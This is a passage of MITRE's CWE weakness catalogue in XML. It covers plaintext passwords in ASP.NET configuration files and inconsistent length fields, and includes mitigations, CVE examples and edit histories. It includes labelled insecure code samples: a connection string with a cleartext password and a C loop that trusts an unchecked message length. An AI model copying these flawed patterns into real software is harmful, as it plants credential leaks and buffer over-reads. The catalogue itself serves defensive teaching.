					          <Reference_Link>http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-29" Local_Reference_ID="R.129.4">
					          <Reference_Title>PaX</Reference_Title>
					          <Reference_Link>http://en.wikipedia.org/wiki/PaX</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-25" Local_Reference_ID="R.129.5">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Understanding DEP as a mitigation technology part
						1</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.129.6">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.129.7">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Unchecked array indexing</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>INDEX - Array index overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Understand how arrays work</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Guarantee that array indices are within the valid
						range</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not add or subtract an integer to a pointer if the
						resulting value does not refer to a valid array element</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR38-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that operations on signed integers do not result in
						overflow</Mapped_Node_Name>
					          <Mapped_Node_ID>INT32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume a positive remainder when using the %
						operator</Mapped_Node_Name>
					          <Mapped_Node_ID>INT10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that operations on signed integers do not result in
						overflow</Mapped_Node_Name>
					          <Mapped_Node_ID>INT32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Understand when to prefer vectors over
						arrays</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee that array and vector indices are within the valid
						range</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not add or subtract an integer to a pointer or iterator if
						the resulting value does not refer to a valid element in the array or
						container</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR38-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Observed_Examples, Other_Notes, Potential_Mitigations, Theoretical_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations, References,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-10-29">Unchecked Array
						Indexing</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="13" Name="ASP.NET Misconfiguration: Password in Configuration File" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Storing a plaintext password in a configuration file allows
					anyone who can read the file access to the password-protected resource making
					them an easy target for attackers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>10</Relationship_Target_ID>
					          <!--ASP.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>260</Relationship_Target_ID>
					          <!--Password in Configuration File-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Good password management guidelines require that a password never be
							stored in plaintext.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>credentials stored in configuration files should be encrypted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use standard APIs and industry accepted algorithms to encrypt the
							credentials stored in configuration files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following connectionString has clear text
						credentials.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Block>
								                <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
									uid=db2admin; pwd=password; dbalias=uDB;"</Code>
								                <Code>providerName="System.Data.Odbc" /&gt;</Code>
							              </Block>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code/>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following example shows a portion of a configuration file for an
						ASP.Net application. This configuration file includes username and password
						information for a connection to a database but the pair is stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Microsoft Corporation</Reference_Author>
					          <Reference_Title>How To: Encrypt Configuration Sections in ASP.NET 2.0 Using
						DPAPI</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms998280.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft Corporation</Reference_Author>
					          <Reference_Title>How To: Encrypt Configuration Sections in ASP.NET 2.0 Using
						RSA</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms998283.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft Corporation</Reference_Author>
					          <Reference_Title>.NET Framework Developer's Guide - Securing Connection
						Strings</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>ASP.NET Misconfiguration: Password in Configuration
						File</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Demonstrative_Example,
						Potential_Mitigations, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="130" Name="Improper Handling of Length Parameter Inconsistency " Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software parses a formatted message or structure, but it
					does not handle or incorrectly handles a length field that is inconsistent with
					the actual length of the associated data.</Description_Summary>
				        <Extended_Description>
					          <Text>If an attacker can manipulate the length parameter associated with an
						input such that it is inconsistent with the actual length of the input, this
						can be leveraged to cause the target application to behave in unexpected,
						and possibly, malicious ways. One of the possible motives for doing so is to
						pass in arbitrarily large input to the application. Another possible
						motivation is the modification of application state by including invalid
						data for subsequent properties of the application. Such weaknesses commonly
						lead to attacks such as buffer overflows and execution of arbitrary
						code.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>240</Relationship_Target_ID>
					          <!--Improper Handling of Inconsistent Structural Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>805</Relationship_Target_ID>
					          <!--Buffer Access with Incorrect Length Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This probably overlaps other categories including zero-length
						issues.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="C"/>
					          <Language Prevalence="Sometimes" Language_Name="C++"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>length manipulation</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>length tampering</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When processing structured incoming data containing a size field
							followed by raw data, ensure that you identify and resolve any
							inconsistencies between the size field and the actual size of the
							data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not let the user control the size of the buffer.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Validate that the length of the user-supplied data is consistent with
							the buffer size.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following C/C++ example the method processMessageFromSocket()
						will get a message from a socket, placed into a buffer, and will parse the
						contents of the buffer into a structure that contains the message length and
						the message body. A for loop is used to copy the message body into a local
						character string which will be passed to another method for
						processing.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int processMessageFromSocket(int socket) {</Code>
							              <Block>
								                <Code>int success;</Code>
								                <Code/>
								                <Code>char buffer[BUFFER_SIZE];</Code>
								                <Code>char message[MESSAGE_SIZE];</Code>
								                <Code/>
								                <Comment>// get message from socket and store into buffer</Comment>
								                <Comment>//Ignoring possibliity that buffer &gt;
									BUFFER_SIZE</Comment>
								                <Code>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// place contents of the buffer into message
										structure</Comment>
									                  <Code>ExMessage *msg = recastBuffer(buffer);</Code>
									                  <Code/>
									                  <Comment>// copy message body into string for
										processing</Comment>
									                  <Code>int index; </Code>
									                  <Code>for (index = 0; index &lt; msg-&gt;msgLength; index++)
										{</Code>
									                  <Block>
										                    <Code>message[index] = msg-&gt;msgBody[index];</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>message[index] = '\0';</Code>
									                  <Code/>
									                  <Comment>// process message</Comment>
									                  <Code>success = processMessage(message);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return success;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the message length variable from the structure is used as the
							condition for ending the for loop without validating that the message
							length variable accurately reflects the length of message body. This can
							result in a buffer over read by reading from memory beyond the bounds of
							the buffer if the message length variable indicates a length that is
							longer than the size of a message body (CWE-130).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2299</Observed_Example_Reference>
					          <Observed_Example_Description>Web application firewall consumes excessive memory
						when an HTTP request contains a large Content-Length value but no POST
						data.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0825</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow in internal string handling
						routine allows remote attackers to execute arbitrary commands via a length
						argument of zero or less, which disables the length
						check.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1186</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows remote attackers to cause a
						denial of service via an HTTP request with a content-length value that is
						larger than the size of the request, which prevents server from timing out
						the connection.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0191</Observed_Example_Reference>
					          <Observed_Example_Description>Service does not properly check the specified
						length of a cookie, which allows remote attackers to execute arbitrary
						commands via a buffer overflow, or brute force authentication by using a
						short cookie length.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0429</Observed_Example_Reference>
					          <Observed_Example_Description>Traffic analyzer allows remote attackers to cause
						a denial of service and possibly execute arbitrary code via invalid IPv4 or
						IPv6 prefix lengths, possibly triggering a buffer
						overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0655</Observed_Example_Reference>
					          <Observed_Example_Description>Chat client allows remote attackers to cause a
						denial of service or execute arbitrary commands via a JPEG image containing
						a comment with an illegal field length of 1.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0492</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service and possibly execute arbitrary code via a negative Content-Length
						HTTP header field causing a heap-based buffer
						overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0201</Observed_Example_Reference>
					          <Observed_Example_Description> Help program allows remote attackers to execute
						arbitrary commands via a heap-based buffer overflow caused by a .CHM file
						with a large length field </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0825</Observed_Example_Reference>
					          <Observed_Example_Description>Name services does not properly validate the
						length of certain packets, which allows attackers to cause a denial of
						service and possibly execute arbitrary code. Can overlap zero-length
						issues</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0095</Observed_Example_Reference>
					          <Observed_Example_Description>Policy manager allows remote attackers to cause a
						denial of service (memory consumption and crash) and possibly execute
						arbitrary code via an HTTP POST request with an invalid Content-Length
						value. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0826</Observed_Example_Reference>
					          <Observed_Example_Description>Heap-based buffer overflow in library allows
						remote attackers to execute arbitrary code via a modified record length
						field in an SSLv2 client hello message. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0808</Observed_Example_Reference>
					          <Observed_Example_Description>When domain logons are enabled, server allows
						remote attackers to cause a denial of service via a SAM_UAS_CHANGE request
						with a length value that is larger than the number of structures that are
						provided. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1357</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple SSH2 servers and clients do not properly
						handle packets or data elements with incorrect length specifiers, which may
						allow remote attackers to cause a denial of service or possibly execute
						arbitrary code.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0774</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service (CPU and memory exhaustion) via a POST request with a
						Content-Length header set to -1.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0989</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple buffer overflows in xml library that may
						allow remote attackers to execute arbitrary code via long URLs.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0568</Observed_Example_Reference>
					          <Observed_Example_Description>Application does not properly validate the length
						of a value that is saved in a session file, which allows remote attackers to
						execute arbitrary code via a malicious session file (.ht), web site, or
						Telnet URL contained in an e-mail message, triggering a buffer overflow.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0327</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service via a remote password array with an invalid length, which
						triggers a heap-based buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0345</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows remote attackers to cause a denial
						of service and possibly execute arbitrary code via an SMB packet that
						specifies a smaller buffer length than is
						required.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0430</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to execute
						arbitrary code via a LoginExt packet for a Cleartext Password User
						Authentication Method (UAM) request with a PathName argument that includes
						an AFPName type string that is longer than the associated length field.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0064</Observed_Example_Reference>
					          <Observed_Example_Description>PDF viewer allows remote attackers to execute
						arbitrary code via a PDF file with a large /Encrypt /Length keyLength
						value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0413</Observed_Example_Reference>
					          <Observed_Example_Description>SVN client trusts the length field of SVN protocol
						URL strings, which allows remote attackers to cause a denial of service and
						possibly execute arbitrary code via an integer overflow that leads to a
						heap-based buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0940</Observed_Example_Reference>
					          <Observed_Example_Description>Is effectively an accidental double increment of a
